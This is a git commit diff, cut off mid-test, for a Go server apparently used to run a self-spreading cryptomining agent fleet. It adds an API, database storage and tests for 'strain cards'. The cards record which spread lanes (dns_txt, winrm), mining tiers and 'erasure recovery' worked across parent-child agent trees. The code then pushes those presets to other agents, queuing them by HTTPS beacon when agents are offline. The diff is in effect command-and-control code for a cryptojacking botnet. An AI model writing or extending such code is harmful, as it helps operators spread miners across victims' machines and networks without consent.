Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
309
server/internal/api/strain_card.go
Normal file
309
server/internal/api/strain_card.go
Normal file
@@ -0,0 +1,309 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
type playStrainCardRequest struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
CardID string `json:"card_id"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetStrainCards lists lineage strain cards (optionally filtered by agent_id).
|
||||||
|
func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if f.db == nil {
|
||||||
|
writeJSON(w, []strategy.StrainCard{})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||||
|
if agentID != "" {
|
||||||
|
stored, err := f.db.ListStrainCardsForAgent(agentID)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, decodeStrainCards(stored))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stored, err := f.db.ListStrainCards(100)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, decodeStrainCards(stored))
|
||||||
|
}
|
||||||
|
|
||||||
|
// PostPlayStrainCard applies a winning strain card preset to a target agent.
|
||||||
|
func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if f.db == nil || f.ws == nil {
|
||||||
|
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var req playStrainCardRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
agentID := strings.TrimSpace(req.AgentID)
|
||||||
|
cardID := strings.TrimSpace(req.CardID)
|
||||||
|
if agentID == "" || cardID == "" {
|
||||||
|
http.Error(w, "agent_id and card_id are required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := f.db.GetAgent(agentID); err != nil {
|
||||||
|
http.Error(w, "agent not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stored, err := f.db.GetStrainCard(cardID)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "strain card not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var card strategy.StrainCard
|
||||||
|
if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil {
|
||||||
|
http.Error(w, "invalid strain card data", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if card.ID == "" {
|
||||||
|
card.ID = stored.ID
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := f.ws.PlayStrainCard(agentID, card)
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": err.Error(),
|
||||||
|
"agent_id": agentID,
|
||||||
|
"card_id": cardID,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)",
|
||||||
|
cardID, agentID, card.Persona, result.PlayID, result.Sent)
|
||||||
|
|
||||||
|
_ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{
|
||||||
|
"card_id": cardID,
|
||||||
|
"play_id": result.PlayID,
|
||||||
|
"persona": card.Persona,
|
||||||
|
"strain": card.SpreadStrain,
|
||||||
|
"root": card.RootAgentID,
|
||||||
|
"source": card.SourceAgentName,
|
||||||
|
"sent": result.Sent,
|
||||||
|
"queued": result.Queued,
|
||||||
|
"transport": result.Transport,
|
||||||
|
})
|
||||||
|
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": true,
|
||||||
|
"agent_id": agentID,
|
||||||
|
"card_id": cardID,
|
||||||
|
"play_id": result.PlayID,
|
||||||
|
"persona": card.Persona,
|
||||||
|
"strain": card.SpreadStrain,
|
||||||
|
"sent": result.Sent,
|
||||||
|
"queued": result.Queued,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard {
|
||||||
|
out := make([]strategy.StrainCard, 0, len(stored))
|
||||||
|
for _, s := range stored {
|
||||||
|
var card strategy.StrainCard
|
||||||
|
if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil {
|
||||||
|
card = strategy.StrainCard{
|
||||||
|
ID: s.ID,
|
||||||
|
RootAgentID: s.RootAgentID,
|
||||||
|
SourceAgentID: s.SourceAgentID,
|
||||||
|
SourceAgentName: s.SourceAgentName,
|
||||||
|
SpreadStrain: s.SpreadStrain,
|
||||||
|
SpreadLane: s.SpreadLane,
|
||||||
|
Persona: s.Persona,
|
||||||
|
PeakHashrate: s.PeakHashrate,
|
||||||
|
ErasureRecoveryRate: s.ErasureRecoveryRate,
|
||||||
|
TreeSize: s.TreeSize,
|
||||||
|
CreatedAt: s.CreatedAt,
|
||||||
|
UpdatedAt: s.UpdatedAt,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if card.ID == "" {
|
||||||
|
card.ID = s.ID
|
||||||
|
}
|
||||||
|
out = append(out, card)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent {
|
||||||
|
out := make([]strategy.SpreadTreeAgent, 0, len(agents))
|
||||||
|
for _, a := range agents {
|
||||||
|
if a == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lane := joinLanes[a.ID]
|
||||||
|
hr := hashrates[a.ID]
|
||||||
|
out = append(out, strategy.SpreadTreeAgent{
|
||||||
|
ID: a.ID,
|
||||||
|
Name: a.Name,
|
||||||
|
IP: a.IP,
|
||||||
|
ParentAgentID: a.ParentAgentID,
|
||||||
|
SpreadGeneration: a.SpreadGeneration,
|
||||||
|
SpreadStrain: a.SpreadStrain,
|
||||||
|
JoinLane: lane,
|
||||||
|
Hashrate: hr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) publishStrainCardForWinner(
|
||||||
|
agentID, agentName, joinLane string,
|
||||||
|
tierOrder []string,
|
||||||
|
peakHashrate float64,
|
||||||
|
attempts []strategy.TierAttempt,
|
||||||
|
) {
|
||||||
|
if h.db == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
allAgents, err := h.db.ListAgents()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[lineage] list agents: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
joinLanes := h.agentJoinLanesSnapshot()
|
||||||
|
hashrates := h.agentHashratesSnapshot()
|
||||||
|
treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates)
|
||||||
|
|
||||||
|
var parentLanes []string
|
||||||
|
if h.breedingRegistry != nil {
|
||||||
|
ag, _ := h.db.GetAgent(agentID)
|
||||||
|
if ag != nil {
|
||||||
|
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||||||
|
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
||||||
|
parentLanes = append([]string(nil), bred.ParentLanes...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
|
||||||
|
SourceAgentID: agentID,
|
||||||
|
SourceAgentName: agentName,
|
||||||
|
SpreadLane: joinLane,
|
||||||
|
TierOrder: tierOrder,
|
||||||
|
PeakHashrate: peakHashrate,
|
||||||
|
Attempts: attempts,
|
||||||
|
TreeAgents: treeAgents,
|
||||||
|
ParentLanes: parentLanes,
|
||||||
|
})
|
||||||
|
|
||||||
|
cardJSON, err := json.Marshal(card)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[lineage] marshal card: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{
|
||||||
|
SourceAgentName: card.SourceAgentName,
|
||||||
|
SpreadStrain: card.SpreadStrain,
|
||||||
|
SpreadLane: card.SpreadLane,
|
||||||
|
Persona: card.Persona,
|
||||||
|
PeakHashrate: card.PeakHashrate,
|
||||||
|
ErasureRecoveryRate: card.ErasureRecoveryRate,
|
||||||
|
TreeSize: card.TreeSize,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[lineage] upsert strain card: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
card.ID = id
|
||||||
|
log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f",
|
||||||
|
id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate)
|
||||||
|
|
||||||
|
h.broadcastDashboard(Message{
|
||||||
|
Type: "strain_card",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"card": card,
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) agentJoinLanesSnapshot() map[string]string {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
out := make(map[string]string, len(h.agentLiveTelemetry))
|
||||||
|
for id, telem := range h.agentLiveTelemetry {
|
||||||
|
if lane, ok := telem["join_lane"].(string); ok && lane != "" {
|
||||||
|
out[id] = lane
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) agentHashratesSnapshot() map[string]float64 {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
out := make(map[string]float64, len(h.agentLiveTelemetry))
|
||||||
|
for id, telem := range h.agentLiveTelemetry {
|
||||||
|
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
|
||||||
|
out[id] = hr
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// StrainCardPlayResult is the outcome of playing a card on an agent.
|
||||||
|
type StrainCardPlayResult struct {
|
||||||
|
PlayID string
|
||||||
|
Sent bool
|
||||||
|
Queued bool
|
||||||
|
Transport string
|
||||||
|
}
|
||||||
|
|
||||||
|
// PlayStrainCard pushes spread temperament from a lineage card to an agent.
|
||||||
|
func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) {
|
||||||
|
agentID = strings.TrimSpace(agentID)
|
||||||
|
if agentID == "" {
|
||||||
|
return StrainCardPlayResult{}, errAgentRequired
|
||||||
|
}
|
||||||
|
temp := strategy.TemperamentFromCard(card)
|
||||||
|
policy := FleetAgentPolicy{SpreadTemperament: &temp}
|
||||||
|
pushID := "strain-" + card.ID
|
||||||
|
sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID)
|
||||||
|
if sent == 0 && failed > 0 {
|
||||||
|
return StrainCardPlayResult{}, errAgentNotConnected
|
||||||
|
}
|
||||||
|
result := StrainCardPlayResult{
|
||||||
|
PlayID: pushID,
|
||||||
|
Sent: sent > 0,
|
||||||
|
}
|
||||||
|
if !h.isAgentConnected(agentID) && sent > 0 {
|
||||||
|
result.Queued = true
|
||||||
|
result.Transport = "https_beacon"
|
||||||
|
}
|
||||||
|
h.broadcastDashboard(Message{
|
||||||
|
Type: "strain_card_played",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"agent_id": agentID,
|
||||||
|
"card_id": card.ID,
|
||||||
|
"play_id": pushID,
|
||||||
|
"persona": card.Persona,
|
||||||
|
"strain": card.SpreadStrain,
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
errAgentRequired = &strainCardError{"agent id is required"}
|
||||||
|
errAgentNotConnected = &strainCardError{"agent not connected"}
|
||||||
|
)
|
||||||
|
|
||||||
|
type strainCardError struct{ msg string }
|
||||||
|
|
||||||
|
func (e *strainCardError) Error() string { return e.msg }
|
||||||
146
server/internal/api/strain_card_test.go
Normal file
146
server/internal/api/strain_card_test.go
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPublishStrainCardOnWinningPhenotype(t *testing.T) {
|
||||||
|
fh, database, hub, _ := newTestFleetHandler(t)
|
||||||
|
_ = fh
|
||||||
|
|
||||||
|
root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()}
|
||||||
|
child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()}
|
||||||
|
for _, a := range []*models.Agent{root, child} {
|
||||||
|
if err := database.UpsertAgent(a); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
hub.mu.Lock()
|
||||||
|
hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{
|
||||||
|
"join_lane": "dns_txt",
|
||||||
|
"mining_hashrate": 750.0,
|
||||||
|
}
|
||||||
|
hub.mu.Unlock()
|
||||||
|
|
||||||
|
fp := "windows|0|0|0|0|0|10.0.2.x"
|
||||||
|
hub.tryPublishWinningPhenotype(
|
||||||
|
"child-agent", "windows", "10.0.2.8", nil,
|
||||||
|
[]struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
}{
|
||||||
|
{Tier: "docker", OK: false},
|
||||||
|
{Tier: "container", OK: true},
|
||||||
|
},
|
||||||
|
750, "container", "dns_txt",
|
||||||
|
[]string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
)
|
||||||
|
_ = fp
|
||||||
|
|
||||||
|
cards, err := database.ListStrainCardsForAgent("child-agent")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(cards) != 1 {
|
||||||
|
t.Fatalf("expected 1 strain card, got %d", len(cards))
|
||||||
|
}
|
||||||
|
var card strategy.StrainCard
|
||||||
|
if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" {
|
||||||
|
t.Fatalf("card tree: %+v", card)
|
||||||
|
}
|
||||||
|
if len(card.Wins) == 0 || card.Persona != "persuasive" {
|
||||||
|
t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPostPlayStrainCard(t *testing.T) {
|
||||||
|
fh, database, hub, _ := newTestFleetHandler(t)
|
||||||
|
|
||||||
|
agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
|
||||||
|
if err := database.UpsertAgent(agent); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
conn := connectTestAgent(t, hub, "target-agent")
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
|
||||||
|
SourceAgentID: "src",
|
||||||
|
SourceAgentName: "Src",
|
||||||
|
SpreadLane: "winrm",
|
||||||
|
TierOrder: []string{"container", "wsl"},
|
||||||
|
PeakHashrate: 500,
|
||||||
|
})
|
||||||
|
raw, _ := json.Marshal(card)
|
||||||
|
cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
body, _ := json.Marshal(map[string]string{
|
||||||
|
"agent_id": "target-agent",
|
||||||
|
"card_id": cardID,
|
||||||
|
})
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var resp map[string]interface{}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if resp["success"] != true {
|
||||||
|
t.Fatalf("response: %+v", resp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetStrainCardsByAgent(t *testing.T) {
|
||||||
|
fh, database, _, _ := newTestFleetHandler(t)
|
||||||
|
card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100}
|
||||||
|
raw, _ := json.Marshal(card)
|
||||||
|
if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d", rec.Code)
|
||||||
|
}
|
||||||
|
var cards []strategy.StrainCard
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(cards) != 1 || cards[0].RootAgentID != "root-a" {
|
||||||
|
t.Fatalf("cards=%+v", cards)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard {
|
||||||
|
return db.StoredStrainCard{
|
||||||
|
SourceAgentName: card.SourceAgentName,
|
||||||
|
SpreadStrain: card.SpreadStrain,
|
||||||
|
SpreadLane: card.SpreadLane,
|
||||||
|
Persona: card.Persona,
|
||||||
|
PeakHashrate: card.PeakHashrate,
|
||||||
|
ErasureRecoveryRate: card.ErasureRecoveryRate,
|
||||||
|
TreeSize: card.TreeSize,
|
||||||
|
}
|
||||||
|
}
|
||||||
196
server/internal/db/strain_cards.go
Normal file
196
server/internal/db/strain_cards.go
Normal file
@@ -0,0 +1,196 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StoredStrainCard is a persisted lineage card for a winning spread tree.
|
||||||
|
type StoredStrainCard struct {
|
||||||
|
ID string
|
||||||
|
RootAgentID string
|
||||||
|
SourceAgentID string
|
||||||
|
SourceAgentName string
|
||||||
|
SpreadStrain string
|
||||||
|
SpreadLane string
|
||||||
|
Persona string
|
||||||
|
CardJSON string
|
||||||
|
PeakHashrate float64
|
||||||
|
ErasureRecoveryRate float64
|
||||||
|
TreeSize int
|
||||||
|
CreatedAt time.Time
|
||||||
|
UpdatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpsertStrainCard(rootAgentID, sourceAgentID string, cardJSON []byte, meta StoredStrainCard) (string, error) {
|
||||||
|
if d == nil {
|
||||||
|
return "", errors.New("database unavailable")
|
||||||
|
}
|
||||||
|
rootAgentID = strings.TrimSpace(rootAgentID)
|
||||||
|
sourceAgentID = strings.TrimSpace(sourceAgentID)
|
||||||
|
if rootAgentID == "" || sourceAgentID == "" || len(cardJSON) == 0 {
|
||||||
|
return "", errors.New("strain card requires root, source, and JSON")
|
||||||
|
}
|
||||||
|
existing, err := d.GetStrainCardByRoot(rootAgentID)
|
||||||
|
if err != nil && !errors.Is(err, sql.ErrNoRows) {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
id := uuid.NewString()
|
||||||
|
now := time.Now().UTC()
|
||||||
|
if existing != nil {
|
||||||
|
id = existing.ID
|
||||||
|
if meta.PeakHashrate <= existing.PeakHashrate && existing.PeakHashrate > 0 {
|
||||||
|
return id, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if meta.ID != "" {
|
||||||
|
id = meta.ID
|
||||||
|
}
|
||||||
|
_, err = d.Exec(
|
||||||
|
`INSERT INTO strain_cards (
|
||||||
|
id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||||
|
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(root_agent_id) DO UPDATE SET
|
||||||
|
source_agent_id = excluded.source_agent_id,
|
||||||
|
source_agent_name = excluded.source_agent_name,
|
||||||
|
spread_strain = excluded.spread_strain,
|
||||||
|
spread_lane = excluded.spread_lane,
|
||||||
|
persona = excluded.persona,
|
||||||
|
card_json = excluded.card_json,
|
||||||
|
peak_hashrate = excluded.peak_hashrate,
|
||||||
|
erasure_recovery_rate = excluded.erasure_recovery_rate,
|
||||||
|
tree_size = excluded.tree_size,
|
||||||
|
updated_at = excluded.updated_at
|
||||||
|
WHERE excluded.peak_hashrate >= strain_cards.peak_hashrate`,
|
||||||
|
id, rootAgentID, sourceAgentID, meta.SourceAgentName, meta.SpreadStrain, meta.SpreadLane,
|
||||||
|
meta.Persona, string(cardJSON), meta.PeakHashrate, meta.ErasureRecoveryRate, meta.TreeSize,
|
||||||
|
now.Format(time.RFC3339), now.Format(time.RFC3339),
|
||||||
|
)
|
||||||
|
return id, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetStrainCard(id string) (*StoredStrainCard, error) {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" {
|
||||||
|
return nil, sql.ErrNoRows
|
||||||
|
}
|
||||||
|
row := d.QueryRow(
|
||||||
|
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||||
|
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||||
|
FROM strain_cards WHERE id = ?`, id,
|
||||||
|
)
|
||||||
|
return scanStrainCard(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetStrainCardByRoot(rootAgentID string) (*StoredStrainCard, error) {
|
||||||
|
rootAgentID = strings.TrimSpace(rootAgentID)
|
||||||
|
if rootAgentID == "" {
|
||||||
|
return nil, sql.ErrNoRows
|
||||||
|
}
|
||||||
|
row := d.QueryRow(
|
||||||
|
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||||
|
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||||
|
FROM strain_cards WHERE root_agent_id = ?`, rootAgentID,
|
||||||
|
)
|
||||||
|
return scanStrainCard(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ListStrainCardsForAgent(agentID string) ([]StoredStrainCard, error) {
|
||||||
|
agentID = strings.TrimSpace(agentID)
|
||||||
|
if agentID == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rows, err := d.Query(
|
||||||
|
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||||
|
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||||
|
FROM strain_cards
|
||||||
|
WHERE root_agent_id = ? OR source_agent_id = ?
|
||||||
|
ORDER BY peak_hashrate DESC, updated_at DESC`,
|
||||||
|
agentID, agentID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []StoredStrainCard
|
||||||
|
for rows.Next() {
|
||||||
|
c, err := scanStrainCardRow(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, *c)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ListStrainCards(limit int) ([]StoredStrainCard, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
rows, err := d.Query(
|
||||||
|
`SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane,
|
||||||
|
persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at
|
||||||
|
FROM strain_cards ORDER BY updated_at DESC LIMIT ?`, limit,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []StoredStrainCard
|
||||||
|
for rows.Next() {
|
||||||
|
c, err := scanStrainCardRow(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, *c)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
type strainCardScanner interface {
|
||||||
|
Scan(dest ...interface{}) error
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanStrainCard(row *sql.Row) (*StoredStrainCard, error) {
|
||||||
|
return scanStrainCardRow(row)
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanStrainCardRow(row strainCardScanner) (*StoredStrainCard, error) {
|
||||||
|
var c StoredStrainCard
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
if err := row.Scan(
|
||||||
|
&c.ID, &c.RootAgentID, &c.SourceAgentID, &c.SourceAgentName, &c.SpreadStrain, &c.SpreadLane,
|
||||||
|
&c.Persona, &c.CardJSON, &c.PeakHashrate, &c.ErasureRecoveryRate, &c.TreeSize, &createdAt, &updatedAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
c.CreatedAt = parseSQLiteTime(createdAt)
|
||||||
|
c.UpdatedAt = parseSQLiteTime(updatedAt)
|
||||||
|
return &c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSQLiteTime(raw string) time.Time {
|
||||||
|
if t, err := time.Parse(time.RFC3339, raw); err == nil {
|
||||||
|
return t
|
||||||
|
}
|
||||||
|
if t, err := time.Parse("2006-01-02 15:04:05", raw); err == nil {
|
||||||
|
return t.UTC()
|
||||||
|
}
|
||||||
|
return time.Time{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecodeStrainCardJSON unmarshals the stored card JSON blob.
|
||||||
|
func DecodeStrainCardJSON(raw string) (map[string]interface{}, error) {
|
||||||
|
out := map[string]interface{}{}
|
||||||
|
if strings.TrimSpace(raw) == "" {
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
err := json.Unmarshal([]byte(raw), &out)
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
81
server/internal/db/strain_cards_test.go
Normal file
81
server/internal/db/strain_cards_test.go
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestUpsertStrainCardRoundTrip(t *testing.T) {
|
||||||
|
d, err := New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = d.Close() })
|
||||||
|
|
||||||
|
cardJSON := []byte(`{
|
||||||
|
"root_agent_id":"root-1",
|
||||||
|
"source_agent_id":"leaf-1",
|
||||||
|
"source_agent_name":"Leaf",
|
||||||
|
"spread_lane":"dns_txt",
|
||||||
|
"persona":"persuasive",
|
||||||
|
"wins":["container"],
|
||||||
|
"losses":["docker"],
|
||||||
|
"subnets":["10.0.0.x","10.0.2.x"],
|
||||||
|
"erasure_recovery_rate":1,
|
||||||
|
"peak_hashrate":900,
|
||||||
|
"tree_size":2
|
||||||
|
}`)
|
||||||
|
id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{
|
||||||
|
